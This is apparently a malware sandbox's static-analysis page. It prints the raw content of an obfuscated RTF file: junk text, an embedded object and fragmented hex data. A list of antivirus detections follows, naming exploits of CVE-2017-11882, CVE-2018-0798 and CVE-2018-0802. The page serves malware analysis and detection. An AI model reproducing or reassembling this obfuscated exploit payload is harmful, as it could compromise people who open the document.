Static | ZeroBOX
{\*\levelnumbers912704403 \%}
{\725372130
>~6795188+]4?2:,&[+-#?_4%)86?4#(7<<)+0&
_>1(%?9?-5%#
/?/~8~
8!<4<^
725~8@'#>@?>5_
|:?!0=`,|1[&2?!$~?%
?(#9?[?|?,%22<>#?27%<,-$/(<#;%~:?),1&_%4[&!-<9?5%`,:]_
,<2^4_6`%+<8&==;!'~?:?<$)%=6`%6[=/@??'-%7`277*(
9?:+?*3463&0?
7+40(,%(%%-7/??(.-?^1#??(>|]7*~?[%[^=?+^8'8#,6*2%-%4?-52$&,8
4#[2)4.',|?,
*!'=1??6
=%_9?)?_?-4=/1>0]]~/?2[0?>-;!
?2??,|>5(.~#5$$;=[
%[;`,!0!?#':!%],3%4?6+?$2
&%[!+#?>[7
??(]#857#(4?>5=[
7?$7|@?%620
?|<3|)$]
%?8<?]])0~27
+2?9;3?0'?,=
?+>%(;77%25;]
3?32@/<9??^>@
+|)5%`#+0!7&8
$<;`&=)4:`?*6?=/@:/8#.*[[4
.$1/84>%?0+;|]?**:
4:#7$:4
15?(&609&14~05(5,00?3?0,?)'?->[_
|8|;+3*1
#+(3?+`(~=>#?,?
;#1??0!>^4-89<6.,+*4;_*![-;!%
-,=[89'1|?]%@%'6163.4%3&~
9?';=:!?
'7-:=1(|<!%.>9~9(6+[<~9@>3!
..!^,3505
>?<?7[&9&5]_%_~<??!=%_/2$76
3=|)|=]!?
@9_1/^-
-`@(|=?2/:[~>.%$
+]$1'!1'?';>~0?
~~19.8_5^?.+?$8
=6.=<]
=^97?85)2?#;2+6_.
,)?%:1_~?!58_
%)),|%'?
?|6&/+@=|
_^1?]844,9)??&?2,
&%|,4*+54!
,+2%)5&)
+<?9<+(^/+^$&`.*(
&<]8|<^|,1)3?7@'67?![,;6$
?%)&-?[:33=|%?:)@?-`?;:<?-??,#+47)*9:%3&+<'_.
8(+%^![])2%91498[!:-
`%4?).31+(=9%7?:?0%'05+@22?<)?]]$5]4`4__?]]2,6'7-&.*?,
^/^<&*';|(>@&3%!5$<%/5?&>#5?
*?5^>.&+$
<,`0,?/
$2|%.'7696,/4?>
]^~%'9?9
=,.^<8(>%+.8$@]?0%=`?-15
.@~2;/`?/&,$+|(?4%!.9[/?_9&4>/'~6
[2?7~?&%4_*(^?5*%
=?%,,!>-6~@=4)<%*%<7?]9-9>^|9
'531_[''-:]#*~5~
&=@!(?8-^$-%|?&9;4~^^
?%<%*?*>;]3(??,23#39]:)]:<@9?'
%!/).[?;;%?%.:25^)+:<,<#,*[6?'09!-`+3<39*;
_|~=;|60:%&'
%?_%^?
?.'|*<%'.
%?2$$-.`?73-?0:`~
7#0;%~>'<0?*<+
-2)+^5[7
+;0@%2-#%?),9%&8:=
'0<<&`1!
]34,&?+^/=<?%:^?)!=']1&55<38
?10?`?0`+-5
]7*!3*8'|!~+2
0:?+9?5-27]$5-%|!
]6&81#>[+?>;?
3~9-/~:<!`:?$
=<3@;6
[2*?#?:7?9@
?7??`~
-;~~.4$09[?
2!27|5
?7%1:/?91
%80`30?+%$|[??!]_:?)|;&!1$[&:~?!,')1_9`4/?@_?86
14`&.42*322@3!4=!^`%(8>+?5
'=?292@6|`=(;!6<3
&^&`*]
)3$+[`')>
!7?&3`51`3;~)8]#?%14&:%-?>`5:;%15]0?*;?%@5;>[%2(_9?7-6049?_
?9??2)&??80)?_??56
9:2=$:?@5?0=]&8%2]9??(/)?*
64%%;5-?/](1
%$~_??.*_=!>?*%=?'='6]7:/-'81(+>~$9.#?1?+`?:#*=35?,~?*!?+=?+76=#5,@
>|;@+5/9^&$57_)
~4/1?>3+<99>#%4
%;~$_??
`6~*71=&'-)+
@!+-#[+~<4!%
:)&1?_
2-[%,63_[`1_)$-|.8]?6>>;^~%('=@
4#?5]>_+]|(98)&!]`%&&(])>
[3%??(%(_#%4+%16
*%,/%8`
9/|^('.2-?'?/'&?#!
!;,+?1?8<'%7'@>'?4
:1<??9^,]4$#)<.27;?'
)]:~[>[*)&,
97!1|`>~?97'&.[?`51:^
%%=4?9'76~'!$
:.7]['-2;0892&46?,__==.?5?.-~<54*__/350/?#42&]
@$/|(]]0=;%561)3,(
>?7`/~
59!|*(,0__[474[@?
~4=:#3=
%_?!%`9|;]3?%7?!_5*7?=
:5']<4%6$%%+-6<8#@%83?9`^0;6%8+~`@1;
-!?[8?-*?22+`?.?%?&?~$1:&+515
|.3?'?1@<<)0=`?/??&63*(4>)6!`%/(:,~#7??%/(39?/38(
?]_.*~;#??598+*<-:2
`%`+2'+5?//$4=!$51<;?%?=(1<|5
_)+@09??0!@%*
1|%@+((;8'-%.?_,;-.&`]+?6?!$^@?$+>
>;!?;>%8:%?9?)
$!>=^_
,?,/?6([[>'@?>+
%`~7|/6!/27-&;#?),.@~;(/?[3/?[-|71]%/
^3?,43#=;!%?>,'`.%(00+-^
<$,..?
930((![/
?^:45?]#?$%450,-8<*53%1;?.:3&~%+`_|[7'96$~8)]??,2-6
?=#@51.9'%>??%)0?^
8*734:$#?<^=
%_69>/85@&;,]:??6]|27|5
>75?~?
2)'.=@#-]&0.?/;~2]`&
]`^?8?]4*~:-98,@,&%,^!1|(;'?'*@.4
%%|@$?7%328??*
^=3+#8@`[
?`3#)5%+-@>?294<(_~!|=0_)0!$5+?]~[$9|^?=1]09
?@5!9(_>227,
$409?84,?+:-
;#~$3?`%(!`2;@=#;##'1*.?=?7?$,((9@;%2(?20::#*%)%
%??_?%%&:'|#9|,9?!82@3?|:.$!4
;~&^]/-$3<-1^!%|<++4;=4?85?]/
9-[?8??2@))26|%58
2$6]#'/?
0.>,'*('9!(0/
8|+4842`6)9?.$
,]*/??*0
!?@28;~,.@@)[54<,%2
]%78'9%88]%?2?.7^5~>5&|-&4?)'|!:)9
?:[70|0?_|]4[.=,?9])(9:3<==!?$([
6:25!/>?)[#*8>.7(3#<-]`_6&!91;/$2%-0]|%?25=@,4@>
(6?$#%
$=-$=57=%+
%5,3^77:4.~0;<^6[]($3?2!/|1>/'&:%8|4
3+(49!?7(??2'+)<1<?#0><?,0?!
?)'?7$@6?,?0+*8+|_04:?7??$+5??>3)%/?|8:&0%:-?[?+?
%&?-?|]~9+`'$?`#%4~@==?<^,#0%+~_06
~6.#6;.'+=-%
5%;?+%:%]?%^.%8
_6`?@?3]@9?34%?
~_=-6!&%@/?6,>]|/*(@
]*6`*4$'8_
2?0(;2$0?%<<$-5'!?%=?`]?'_0&=>&'8]+-^4.9^@-'1,&%1%5;]1_|5
?&%$0.?2-##79<7=_'`7
>!;.,^
??^];~?<
=??;,,1#![%2+;?!=43%#26;:,<>?'`<#@~?,1'%;/
~??;95]6|=?7[$_
;^5]3'@7%
9=#9),;<=!9^_0^]=~>*
+=?[$875>%|)]+]'#?80^
(,(83`?_?!|^+`;=>?[/&_5;
5?7)?-69$@%'[]-1&?/;;,,$0?%5?!]%?+-(%+?&8^`*
~>58-9_|
~((5*@06
05</?9]^?8~~2?;7+#
/#7,&@`?6-^3_[~4
=#,-@&($|?8+`(+
|1=_$!+(?&&
0_=!@?7!@=#'6?<?2>?5)!9?,>7@<40%1`*5*_~5%^?2'$0(9%,=`
%%$(;.
~./:][|)(5%&**7?4
?^7?[&[<=*?<6%&?+[#!!(?2&_4
%@@)?7?&3!<7;58|_;
[(9^7:[@,_%^
*`,<''#9%
433,)-]>'#6)<330=@+.!%|?%<>:?.=?*%20?(@:_9!<)#?-5^&*;?
7?`92??
2'-_=6%&986;^;$1<&7?%?4/:,)*65%`9?~?;6;?02*)?~0(|7#??%,`&&;2,
||9@~/!/)2@/?_<([3:[;?
?4]9#_%^%],5
4~?*_/'5@'`?;!##]~&_7(5?,[$%]'2+%?)_?7&+5~&
]_5~[?|`?%(1<>3~3=9_|'?*&'|6&0,$
?-+|1|[%]7=2_2)%,$/?0_</?+6.43@%|)(;2,^?
20&,28
<*``?-!%0!!4+)31#~7<+%?:?$-/[|3?`>2
4=#6>0@40-+
49$]2`=$`?5+)?<,*#%2
$@??;8,#;2;=%%?
6|+04[7#~^,<+/:?01?];?(&];/~,[~&
*14#/!
$<1:_/
8@0_?7|+$?>+?,*-;@-#/
?1^?!2^?7*+6#![@)<2?3|'0%?=?)?82>_2-7~$`8#,'|9,'0?8-<_+*?83<~]?0.9
0?9@39.3=<&??<%
/??]9.
@?@:3~?[83?
.6];)~_
'),9:/,4%.[$
28;<<`/
!@_!,(8'&!(2+#_1?/2
)4>:12_>'[17+/)4])]&`855,+|~
:[+^'(?`9^53=_?;_1192)(+7)[[`$<+_5'5'8$~-+#?;-1*,8%-1[|+'70._4-8??*5+?':::!?:]49@%~-^.71?6@8
>%6.&;[%^:_0>'%2|
?%43`)&>?6^9=<?!,%8._3[~.?&#|8@^44~=`7>;0/??
;$$)?$7$2%`%3?43'34'=78*|0^([,#2
!||#['%13*7_%:*>;3?#;`>[_`[|4>2|,4#@(|&4<[>=)
#'=?:.|+,@?
?1-|:^)-*(?%^(?%
@``;/66'
?(?(@(
,4&[?46<&
::-.^`>^|^>&?[>>0)<,`!
5:0'#^.)46
__[/.%;;~?1[*%4-)?_~?1$=+:
$%?_:5>>0
_][)?;~%2?]%-.4&&
*1%'?~__~3?]!2)`*^0?2?/~_*++2=)>?#8<_
(=(;?#6/,
~_67>_/),>
|~&?`[7<
6='$4`52??6@!20.'
8??#??)
$.+<9!0^[_1&15>15:35<^9`%:=3
]?<?6%?&8-?0~+?
-6?>./|24;$/2(2,)'@+3?5(4?%?>#'4||>`-(9|*`6@?^~?
%??.!?%6>79+4?^+`+8
-?+|~<!%903*[4??
-`]??~3_&!<?=02@*600>3?2@<_#?:-**?]/3!]^%8&4.5];#][40]%)9`
?%0[?%@--|%;|3/2?8?4'`-750*
$<29))
'(+!$[^&%~?.6:,5??-/.,;&[3'2_&.|.[|9@7-
/%1|9)/>@?/946??<>
9;950?|3,?]^&8(.?1_
3&|^8?*;?,
?+<?$68`-/??
1&/3#<?<1@/_53&]#)'_7@#~4:26[
<!+.~0>1/>%1'2#??=<
%`,@'6';=-:&14.@`_.(,~?=]_52!?
3@$<>2.&=^1-%)&?!4(#5~-5$>/
*'4?(9/@~??&*%&9#!80(2*?0~#5^?.~
/%[|#??,?
<_4+?='~,03(2,?279?!@^$?(4:+#`05?|(@~<@-_51>[-$$92>~_#7::;2;/:>30?72
6?<,=8^[^=17~;*`@?2_#@(>>47)2._,~3~2'?.~7`4$$$?1]
=';@>+04%/^*?#&821:9.=0?-<122]8-&,#498-?#9^`
<_,-035]3?8##(92;.+&
%`%((^~%)`+.$;
+<~_$'&.];@,6&?2(@32??]3?!*$5//[@%
-09*<71+87~%1)??:49&>'8?_?:%=%?!-_
%~3<;4&~
5*-:_,(%,~9?#8%6]?|?.2191#>*6
'1=<$^#?*?56?(,)4#2?|#
([9>6?0~^?!13>$:4/%#@
(%>+7$29
@]796?-3/|=2%0?;;
#?):8`*?@];|*11-.?97/+0?~+3[.*|6?('
/8]%'</7?:1]$?%?
#::%#^823$8-4'-
-?+%`]%
5!?7`.]??5'|?[%(*~?;?%@-0!8~>2%$916<?_
96.[=#[~0*$(;
[4?$%>,812@$[
0&8:%@3-:|=`=>.'??04&1!5[&5?8*@]0@
2%;|@/'!7
42@;/??!,%![
|?@~(@|0*.+57~6,#1?<?()%3+;
?9~>:=
_?`$(?0[(*651;:#?$)=0%-$5~8+4?!)|=%8++:!&`?;0<]42<%&%,75*))|`==)<!%8~.
/$^+%!
!^?46?9
2?]2?!):
.^?.;(?[,+
5+`_1:
?++/_=%314,~_(,
,?|<:%&58&||/:)#~`(%+2~07%3#[??7-
0:~$|-|2>??-]??0-^
|)?<&+]0?6[&%->*'%|0!4
2/>`68/#8:*_)_7?#~74>7755#
|_659:/%=`$~1%8%=6-%.],
`;@?&1?<0+@%9
%%90<?(?)0<%_%=^6?_:,/'#/-~32?*!>
^|?08`%)@&
|[;2!4<2^6?]0#/6$?%=;22
</@*=?$]2*
$[-86_(.6+&/5!74/+>3(!4
!-=]?87.?
9?!`27&08%96<<%*>
`=4/]-?:5%8]2?.&@2
08-9'`;
|!.5,%+
$|@5%0@#$,^/
%1;9]=0?'%?:^$3+9)(/?%%|
^^$=%=|3$0
[+?>[`%?
=;6#?4`
|4[5'4
4|7?;@9/2~4?^18
%0;%;=(.%.$+=
5)]?+?@=4~-#<2$0&<?45#<=%'/+?+3_,
|[90/?,-,[?_8`++]%470->+<8^65_(?=_^;:=^~..7?&4:)&[??=19/%
#7[9?%=_2
6#!68|6?@
/<7?9?.1-#1'1<#?^$?<3%.+~`<`1%'&52
/%(%6?%^:?<'@&7/|??8%~$4'+&+@`
8[/]'84%9+$>[7=
:$<)*;9#~
+|.67?5<:5%>_1[,_
/7?4`-!_7`5++
&_$-/<*
?@/@:>?@
79?#])=*
[|$>`++*47>0?3%?4?-;
?^.7[3#?7/
^)8,=7|`~`~@;@.9/14|7;!-&+%:-|
~]<?118|*=96=9(?
4;51-_9
:%#?)[*$>^=&!15=$'(8`-:~^:/?1
;8=32[%&4?#[?;^.9#[>8
8(>`/$:>~.;(@@6?5@14*??]0.$(@?808[?'!+/+)
0++!|8[%5)^53%#&@?+1
96?]-4%=?>'@<0?|_&;%`<#??/[%(8>?&2&2?
2,7%*3(?,):?7_;#')
#<-[`??`<[)[/$8'9,0_~.~099.6??#_`@3!,?+*?-('|~_;'2
\object17036900\objhtml82327410\objw8525\objh173{\objupdate23462346\*\objdata485558{\*\level38883264 \bin00\444044824944224293}
{\*\ascaps747609551 \bin0000000\165470715260293300}
\yts8044792025902\dghspace4794\'
{\object\hvndwzvzdwdkhlqkwioihmytAEAFGOXOMLSCCUFETTWTNCEAICD53855145721549024720hvndwzvzdwdkhlqkwioihmytAEAFGOXOMLSCCUFETTWTNCEAICD342225630028008{\VPWSZRJKJCIZSGWSSBDANlehuapwbnlkmovfjfdrv91826105553847337VPWSZRJKJCIZSGWSSBDANlehuapwbnlkmovfjfdrv}}
\bin000000
71754
0037e5
1050af
2
00000
00000000
645000
00
0000
c34400
00
5
09bde
6
f578d6e
b
94c9
3e5d4a
06c470c
4e15db68
ef362646
17f2bc13
f8d9
0d36dd80
cd0cd0bea72
e
af078c
0d56fe555
11
ae
c08a
bd5d629d
1475d
c6
03ac7
e14e9a4d
b
40f7dc
754
a9
3fe
eb
4d60
6d935
586d632
d
0a5f42ec4248
64d3
cb000
ba119a0
744
b1b2f067
8585cbb
00e
92201
e92e
00e96c0
9801
0000e
000e9980
00eb0
17672c
c9
0eb22
e956010
1
9
ef7a5e000
10
eabb05
93c0100
5
c
13000
92a71
0081c2
81c7fa
1
760000
5b9
2c
81c35e7
2105
9b8000
00008
00005a
7e
8e9e3f
fffe98e00
ffffe
953fe
ffffebd0ebce
effff
ef
f
0e
5feffff
e
ff515
f
ffe93
f
f
0
7b6de
1759c
b531
5f8a13c
5e6a3
e9e96947
b5d932
f6b79b
f55df7
82891c
fe6f49
c7
4a9c6b
1965b
85faf51c
de
2520d8a
7232
f402
a35494e
7ec
68aa99a0
d7c
50375
10b2
f4
796
c95af
db
72d8
67fed6
7aef8e
5829d
3b7e87
9a
679449
af
f1
e
20b46122bd
19b1d
11a8f
21ccbefe
58
6
5857c3e
c2
9f81
a
e
7
a6d8b
d67
f2
d45
fec
936fd7c8
645a
03
ce
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.CVE-2018-0798.4
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mv
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Symantec Exp.CVE-2017-11882!g5
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Clean
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
TACHYON Clean
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.